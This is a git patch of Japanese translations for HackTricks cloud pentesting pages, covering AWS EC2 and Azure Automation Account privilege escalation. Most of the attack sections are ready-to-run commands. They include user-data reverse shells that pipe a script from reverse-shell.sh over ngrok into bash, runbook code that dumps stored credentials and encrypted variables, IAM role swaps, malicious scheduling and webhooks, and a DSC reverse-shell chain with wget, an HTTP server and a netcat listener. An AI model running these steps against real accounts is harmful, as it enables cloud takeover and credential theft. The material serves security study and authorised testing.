From 15eb02904a4f683143f0b6b48cdd0c288a6e89d2 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 10 Jan 2025 12:03:57 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- src/SUMMARY.md | 4 +- .../aws-ec2-privesc.md | 48 ++-- .../az-automation-accounts-privesc.md | 239 ++++++++++++++++++ .../az-automation-account/README.md | 170 ------------- .../az-state-configuration-rce.md | 57 ----- .../az-services/az-automation-accounts.md | 227 +++++++++++++++++ .../azure-security/az-services/vms/README.md | 64 ++--- 7 files changed, 523 insertions(+), 286 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 42681ba62..c39a9cc91 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -406,8 +406,7 @@ - [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md) - [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md) - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - - [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md) - - [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md) + - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -454,6 +453,7 @@ - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) + - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 540d70f16..5eb2ddb1b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -16,15 +16,15 @@ - **SSH経由でのアクセス** -**作成した** **sshキー**を使用して新しいインスタンスを起動し(`--key-name`)、その後sshで接続します(新しいものを作成する場合は、`ec2:CreateKeyPair`の権限が必要になることがあります)。 +**作成した** **sshキー**を使用して新しいインスタンスを起動し(`--key-name`)、その後sshで接続します(新しいものを作成する場合は、`ec2:CreateKeyPair`の権限が必要になることがあります)。 ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ --security-group-ids ``` -- **ユーザーデータを使用したrev shellへのアクセス** +- **ユーザーデータによるリバースシェルへのアクセス** -**ユーザーデータ** (`--user-data`) を使用して新しいインスタンスを起動すると、**rev shell** を送信します。この方法ではセキュリティグループを指定する必要はありません。 +**ユーザーデータ** (`--user-data`) を使用して新しいインスタンスを起動すると、**リバースシェル**を送信します。この方法ではセキュリティグループを指定する必要はありません。 ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -67,12 +67,12 @@ aws-ecs-privesc.md **新しいインスタンスを作成できない**が、`ecs:RegisterContainerInstance`の権限がある場合、クラスタ内にインスタンスを登録し、コメントされた攻撃を実行できるかもしれません。 -**潜在的な影響:** タスクに付与されたECSロールへの直接的な権限昇格。 +**潜在的な影響:** タスクに付随するECSロールへの直接的な権限昇格。 ### **`iam:PassRole`、** **`iam:AddRoleToInstanceProfile`** -前のシナリオと同様に、これらの権限を持つ攻撃者は**侵害されたインスタンスのIAMロールを変更**して新しい資格情報を盗むことができます。\ -インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルが**すでにロールを持っている**(一般的なケース)場合、**`iam:RemoveRoleFromInstanceProfile`**も必要になります。 +前のシナリオと同様に、これらの権限を持つ攻撃者は**侵害されたインスタンスのIAMロールを変更**し、新しい資格情報を盗むことができます。\ +インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルが**すでにロールを持っている**(一般的なケース)場合、**`iam:RemoveRoleFromInstanceProfile`**も必要です。 ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -80,30 +80,28 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -もし**インスタンスプロファイルにロールがある**場合、攻撃者が**それを削除できない**場合、別の回避策があります。彼は**ロールのないインスタンスプロファイルを見つける**か、**新しいものを作成する**ことができます(`iam:CreateInstanceProfile`)、その**インスタンスプロファイル**に**ロールを追加**し(前述の通り)、**侵害されたインスタンスに関連付ける**ことができます: +もし**インスタンスプロファイルにロールがある**場合、攻撃者が**それを削除できない**場合、別の回避策があります。彼は**ロールのないインスタンスプロファイルを見つける**か、**新しいものを作成する**ことができます(`iam:CreateInstanceProfile`)、**そのインスタンスプロファイルにロールを追加**し(前述の通り)、**侵害されたインスタンスに関連付ける**ことができます: -- インスタンスが**インスタンスプロファイルを持っていない場合**(`ec2:AssociateIamInstanceProfile`)\* +- インスタンスが**インスタンスプロファイルを持っていない場合**(`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**潜在的影響:** 別の EC2 ロールへの直接的な権限昇格 (AWS EC2 インスタンスを侵害し、いくつかの追加の権限または特定のインスタンスプロファイルの状態を持っている必要があります)。 +**潜在的影響:** 別の EC2 ロールへの直接的な権限昇格 (AWS EC2 インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります)。 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) これらの権限を持つことで、インスタンスに関連付けられたインスタンスプロファイルを変更することが可能です。攻撃者がすでにインスタンスにアクセスしている場合、関連付けられたインスタンスプロファイルを変更することで、より多くのインスタンスプロファイルロールの資格情報を盗むことができます。 -- **インスタンスプロファイルがある場合、** インスタンスプロファイルを **削除** することができ (`ec2:DisassociateIamInstanceProfile`)、それを **関連付ける** ことができます \* +- **インスタンスプロファイルがある場合、** インスタンスプロファイルを **削除** (`ec2:DisassociateIamInstanceProfile`) し、**関連付ける**ことができます。 ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- または、侵害されたインスタンスの**インスタンスプロファイル**を**置き換える**(`ec2:ReplaceIamInstanceProfileAssociation`)。\* -```` +- または、侵害されたインスタンスの**インスタンスプロファイル**を**置き換える**(`ec2:ReplaceIamInstanceProfileAssociation`)。 ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -```` **潜在的な影響:** 別のEC2ロールへの直接的な権限昇格(AWS EC2インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります)。 ### `ec2:RequestSpotInstances`,`iam:PassRole` @@ -121,9 +119,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -**`ec2:ModifyInstanceAttribute`** を持つ攻撃者は、インスタンスの属性を変更できます。その中で、**ユーザーデータを変更**することができ、これによりインスタンスが**任意のデータを実行**することが可能になります。これを利用して、**EC2インスタンスへのrev shellを取得**することができます。 +攻撃者は **`ec2:ModifyInstanceAttribute`** を使用してインスタンスの属性を変更できます。その中で、**ユーザーデータを変更**することができ、これによりインスタンスが **任意のデータを実行**することが可能になります。これを利用して **EC2インスタンスへのリバースシェルを取得**することができます。 -属性は**インスタンスが停止している間のみ**変更できるため、**`ec2:StopInstances`** と **`ec2:StartInstances`** の**権限**が必要です。 +属性は **インスタンスが停止している間のみ** **変更**できることに注意してください。そのため、**`ec2:StopInstances`** および **`ec2:StartInstances`** の **権限**が必要です。 ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -160,11 +158,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**潜在的影響:** 作成されたインスタンスに付随する任意のEC2 IAMロールへの直接的な権限昇格。 +**潜在的影響:** 作成されたインスタンスに付随する任意の EC2 IAM ロールへの直接的な権限昇格。 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`および `ec2:ModifyLaunchTemplate`** の権限を持つ攻撃者は、**ユーザーデータ**に**revシェル**を含む**新しいLaunch Templateバージョン**を作成し、デフォルトバージョンを変更し、**そのLaunch Template**を使用する**任意のAutoscalerグループ**は、**最新**または**デフォルトバージョン**を使用するように**構成**されているため、そのテンプレートを使用してインスタンスを**再実行**し、revシェルを実行します。 +**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`および `ec2:ModifyLaunchTemplate`** の権限を持つ攻撃者は、**ユーザーデータ**に**rev shell**を含む**新しい Launch Template バージョン**を作成し、デフォルトバージョンを変更し、その**Launch Template**を使用する**任意の Autoscaler グループ**は、**最新**または**デフォルトバージョン**を使用するように**構成**されているため、そのテンプレートを使用してインスタンスを**再実行**し、rev shellを実行します。 ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -178,11 +176,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**潜在的影響:** 別の EC2 ロールへの直接的な特権昇格。 +**潜在的な影響:** 別のEC2ロールへの直接的な権限昇格。 ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** の権限を持つ攻撃者は、**IAM ロール**と**rev shell**を**ユーザーデータ**内に含む**Launch Configuration**を**作成**し、その設定から**オートスケーリンググループ**を**作成**して、rev shellが**IAM ロール**を**盗む**のを待つことができます。 +**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** の権限を持つ攻撃者は、**IAMロール**と**rev shell**を**ユーザーデータ**内に含む**Launch Configuration**を**作成**し、その設定から**オートスケーリンググループ**を**作成**して、rev shellが**IAMロール**を**盗む**のを待つことができます。 ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -198,11 +196,11 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` -**潜在的な影響:** 別のEC2ロールへの直接的な権限昇格。 +**潜在的影響:** 別のEC2ロールへの直接的な権限昇格。 ### `!autoscaling` -権限のセット **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** は、IAMロールへの権限を昇格させるには不十分です。なぜなら、Launch ConfigurationまたはLaunch Templateで指定されたロールをアタッチするには **`iam:PassRole` と `ec2:RunInstances` の権限が必要だからです**(これは知られている権限昇格です)。 +権限のセット **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** は、IAMロールへの権限を昇格させるには不十分です。なぜなら、Launch ConfigurationまたはLaunch Templateで指定されたロールをアタッチするには **`iam:PassRole`** と **`ec2:RunInstances`** の権限が必要だからです(これは知られている権限昇格です)。 ### `ec2-instance-connect:SendSSHPublicKey` @@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特に役に立ちません。 +この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特権昇格にはあまり役立ちません。 -**潜在的な影響:** (非常に証明が難しい)実行中のインスタンスに添付されたEC2 IAMロールへの直接的な権限昇格。 +**潜在的な影響:** (非常に証明が難しい)実行中のインスタンスに添付されたEC2 IAMロールへの直接的な特権昇格。 ### `describe-launch-templates`,`describe-launch-template-versions` -起動テンプレートにはバージョン管理があるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** の権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用することができます。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします: +起動テンプレートにはバージョン管理があるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** 権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用することができます。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -252,7 +250,7 @@ done ``` 上記のコマンドでは、特定のパターン(`aws_|password|token|api`)を指定していますが、他の種類の機密情報を検索するために異なる正規表現を使用することもできます。 -`aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの資格情報を使用してAWSに認証できます。 +`aws_access_key_id` と `aws_secret_access_key` が見つかった場合、これらの資格情報を使用してAWSに認証できます。 **潜在的な影響:** IAMユーザーへの直接的な権限昇格。 diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md new file mode 100644 index 000000000..c86049048 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -0,0 +1,239 @@ +# Az - Azure Automation Accounts Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Automation Accounts + +詳細については、次を確認してください: + +{{#ref}} +../az-services/az-automation-accounts.md +{{#endref}} + +### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) + +要約すると、これらの権限は**Automation Account内でRunbookを作成、変更、実行する**ことを可能にし、**Automation Accountのコンテキストでコードを実行し、割り当てられた**Managed Identities**の特権を昇格させ、Automation Accountに保存された**credentials**や**encrypted variables**を漏洩させることができます。 + +権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**は、Automation Account内のRunbookのコードを次の方法で変更することを許可します: +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content '$creds = Get-AutomationPSCredential -Name "" +$runbook_variable = Get-AutomationVariable -Name "" +$runbook_variable +$creds.GetNetworkCredential().username +$creds.GetNetworkCredential().password' +``` +前のスクリプトが、Automation Accountに保存されている資格情報の**ユーザー名とパスワード**、および**暗号化された変数**の値を**漏洩**させるためにどのように使用できるかに注意してください。 + +権限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**は、ユーザーがAutomation Account内でRunbookを公開できるようにし、変更が適用されることを許可します。 +```bash +az automation runbook publish \ +--resource-group \ +--automation-account-name \ +--name +``` +権限 **`Microsoft.Automation/automationAccounts/jobs/write`** は、ユーザーが次の方法でAutomation Account内でRunbookを実行することを許可します: +```bash +az automation runbook start --automation-account-name --resource-group --name +``` +権限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** は、ユーザーが次の方法でAutomation Account内のジョブの出力を読み取ることを許可します: +```bash +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" +``` +Runbookが作成されていない場合、または新しいものを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`**が必要です: +```bash +az automation runbook create --automation-account-name --resource-group --name --type PowerShell +``` +### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のID**を割り当てることを許可します: +```bash +az rest --method PATCH \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' +``` +### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` + +権限 **`Microsoft.Automation/automationAccounts/schedules/write`** を使用すると、以下のコマンドを使用して、15分ごとに実行される新しいスケジュールをAutomation Accountに作成することができます(あまりステルスではありません)。 + +スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先です。 +```bash +## For linux +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every minute" \ +--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 + +## Form macOS +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every 15 minutes" \ +--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 +``` +その後、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラーを割り当てることができます: +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"runOn": "", +"runbook": { +"name": "" +}, +"schedule": { +"name": ">" +}, +"parameters": {} +} +}' +``` +> [!TIP] +> 前の例では、jobchedule idが**`b510808a-8fdc-4509-a115-12cfc3a2ad0d`の例**として残されていましたが、この割り当てを作成するには任意の値を使用する必要があります。 + +### `Microsoft.Automation/automationAccounts/webhooks/write` + +権限**`Microsoft.Automation/automationAccounts/webhooks/write`**を使用すると、次のコマンドを使用してAutomation Account内のRunbook用の新しいWebhookを作成できます。 + +Webhook URIを**指定する必要がある**ことに注意してください。 +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2026-01-09T20:03:30.291Z", +"parameters": {}, +"runOn": null, +"runbook": { +"name": "" +}, +"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" +} +}' + +# Then, to call the runbook using the webhook +curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ +-H "Content-Length: 0" +``` +### `Microsoft.Automation/automationAccounts/runbooks/draft/write` + +`Microsoft.Automation/automationAccounts/runbooks/draft/write` の権限だけで、**Runbookのコードを更新**し、公開せずに次のコマンドを使用して実行することが可能です。 +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content 'echo "Hello World"' + +# Run the unpublished code +az rest \ +--method PUT \ +--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"parameters": {}, +"runOn": "", +"runtimeEnvironment": "PowerShell-5.1" +}' + +# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission) +az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01" +``` +### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) + +この権限は、ユーザーが次のようなコマンドを使用してAutomation Accountの**ソースコントロールを構成する**ことを許可します(これはGithubを例にしています): +```bash +az automation source-control create \ +--resource-group \ +--automation-account-name \ +--name RemoteGithub \ +--repo-url https://github.com/carlospolop/gh-runbooks.git \ +--branch main \ +--folder-path /runbooks/ \ +--publish-runbook true \ +--auto-sync \ +--source-type GitHub \ +--token-type PersonalAccessToken \ +--access-token github_pat_11AEDCVZ +``` +この操作により、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、**権限昇格が可能**になります。 + +さらに、Automation Accountsでソースコントロールを機能させるには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザーマネージドアイデンティティの場合は、変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に使用するユーザーマネージドアイデンティティの**クライアントID**を設定することで構成できます。 + +> [!TIP] +> 作成後にソースコントロールのリポジトリURLを変更することはできないことに注意してください。 + +### カスタムランタイム環境 + +自動化アカウントがカスタムランタイム環境を使用している場合、悪意のあるコード(**バックドア**など)でランタイムのカスタムパッケージを上書きすることが可能です。この方法では、そのカスタムランタイムを使用するランブックが実行され、カスタムパッケージが読み込まれるたびに、悪意のあるコードが実行されます。 + +### 状態構成の妥協 + +**完全な投稿を確認してください:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) + +- ステップ1 — ファイルの作成 + +**必要なファイル:** 2つのPowerShellスクリプトが必要です: +1. `reverse_shell_config.ps1`: ペイロードを取得して実行するDesired State Configuration (DSC)ファイル。これは[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)から入手可能です。 +2. `push_reverse_shell_config.ps1`: VMに構成を公開するためのスクリプトで、[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)で入手できます。 + +**カスタマイズ:** これらのファイルの変数とパラメータは、リソース名、ファイルパス、サーバー/ペイロード識別子を含むユーザーの特定の環境に合わせて調整する必要があります。 + +- ステップ2 — 構成ファイルを圧縮 + +`reverse_shell_config.ps1`は`.zip`ファイルに圧縮され、Azure Storage Accountへの転送の準備が整います。 +```powershell +Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip +``` +- ステップ 3 — ストレージコンテキストの設定とアップロード + +圧縮された構成ファイルは、AzureのSet-AzStorageBlobContent cmdletを使用して、事前定義されたAzure Storageコンテナazure-pentestにアップロードされます。 +```powershell +Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx +``` +- ステップ 4 — Kali ボックスの準備 + +Kali サーバーは GitHub リポジトリから RevPS.ps1 ペイロードをダウンロードします。 +```bash +wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 +``` +スクリプトは、ターゲットのWindows VMとリバースシェルのポートを指定するように編集されます。 + +- ステップ 5 — 構成ファイルの公開 + +構成ファイルが実行され、リバースシェルスクリプトがWindows VMの指定された場所にデプロイされます。 + +- ステップ 6 — ペイロードのホスティングとリスナーの設定 + +ペイロードをホストするためにPythonのSimpleHTTPServerが起動され、受信接続をキャプチャするためのNetcatリスナーが設定されます。 +```bash +sudo python -m SimpleHTTPServer 80 +sudo nc -nlvp 443 +``` +スケジュールされたタスクがペイロードを実行し、SYSTEMレベルの特権を達成します。 + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md deleted file mode 100644 index 348c4591b..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ /dev/null @@ -1,170 +0,0 @@ -# Az - Automation Account - -{{#include ../../../../banners/hacktricks-training.md}} - -## 基本情報 - -[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automationは、Azureおよび非Azure環境全体で一貫した管理をサポートするクラウドベースの自動化、オペレーティングシステムの更新、および構成サービスを提供します。これには、プロセス自動化、構成管理、更新管理、共有機能、および異種機能が含まれます。 - -これらはAzureの「**スケジュールされたタスク**」のようなもので、**Azure環境**を**管理**、確認、構成するために物事(アクションやスクリプト)を実行することができます。 - -### Run As アカウント - -**Run as Account**が使用されると、自己署名証明書を持つAzure AD **アプリケーション**が作成され、**サービスプリンシパル**が作成され、**現在のサブスクリプション**内のアカウントに**Contributor**ロールが割り当てられます(多くの特権があります)。\ -Microsoftは、Automation Accountには**Managed Identity**の使用を推奨しています。 - -> [!WARNING] -> これは**2023年9月30日に削除され、Managed Identitiesに変更されます。** - -## Runbooks & Jobs - -**Runbooks**は、**任意のPowerShell**コードを**実行**することを可能にします。これは**攻撃者によって悪用される可能性**があり、**添付されたプリンシパル**の権限を盗むことができます(存在する場合)。\ -**Runbooks**の**コード**には、**機密情報**(クレデンシャルなど)も含まれている可能性があります。 - -**ジョブ**を**読む**ことができる場合は、実行の**出力**(潜在的な**機密情報**)が含まれているため、必ず行ってください。 - -`Automation Accounts` --> `` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections` + +**ジョブはRunbook実行のインスタンス**です。Runbookを実行すると、実行を追跡するためにジョブが作成されます。各ジョブには以下が含まれます: + +- **ステータス**: キュー中、実行中、完了、失敗、保留中。 +- **出力**: Runbook実行の結果。 +- **開始および終了時間**: ジョブが開始および完了した時間。 + +ジョブには**Runbook**実行の**出力**が含まれます。**ジョブ**を**読み取る**ことができる場合は、実行の**出力**(潜在的な**機密情報**)が含まれているため、必ず行ってください。 + +### スケジュール & Webhooks + +Runbookを実行する主な方法は3つあります: + +- **スケジュール**: 特定の**時間**または**間隔**でRunbooksを**トリガー**するために使用されます。 +- **Webhooks**: 外部サービスからRunbooksを**トリガー**するために使用できる**HTTPエンドポイント**です。作成後、Webhook URLは**表示されません**。 +- **手動トリガー**: AzureポータルおよびCLIからRunbookを**手動でトリガー**できます。 + +### ソース管理 + +**Github、Azure Devops (Git)、およびAzure Devops (TFVC)**からRunbooksをインポートすることができます。リポジトリのRunbooksをAzure Automationアカウントに公開するように指示することも、リポジトリからAzure Automationアカウントに**変更を同期**するように指示することも可能です。 + +同期が有効になっている場合、**GithubリポジトリにWebhookが作成され**、プッシュイベントが発生するたびに同期がトリガーされます。Webhook URLの例: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` + +これらのWebhookは、Githubリポジトリに関連付けられたRunbooksのWebhookをリストする際に**表示されません**。また、作成後にソース管理のリポジトリURLを**変更することはできません**。 + +構成されたソース管理が機能するためには、**Azure Automation Account**に**`Contributor`**ロールを持つマネージドアイデンティティ(システムまたはユーザー)が必要です。さらに、Automation Accountにユーザーマネージドアイデンティティを割り当てるには、変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**を**ユーザーマネージドアイデンティティクライアントID**に設定するだけで可能です。 + +### ランタイム環境 + +Runbookを作成する際に、ランタイム環境を選択できます。デフォルトでは、以下のランタイム環境が利用可能です: + +- **Powershell 5.1** +- **Powershell 7.1** +- **PowerShell 7.2** +- **Python 3.10** +- **Python 3.8** +- **Python 2.7** + +ただし、これらのいずれかをベースにして**独自の環境を作成する**ことも可能です。Pythonの場合、使用する環境に`.whl`パッケージをアップロードできます。PowerShellの場合、ランタイムに必要なモジュールを含む`.zip`パッケージをアップロードできます。 + +### ハイブリッドワーカー + +Runbookは、Azure内の**コンテナ**または**ハイブリッドワーカー**(非Azureマシン)で実行できます。\ +**Log Analytics Agent**は、ハイブリッドワーカーとして登録するためにVMにデプロイされます。\ 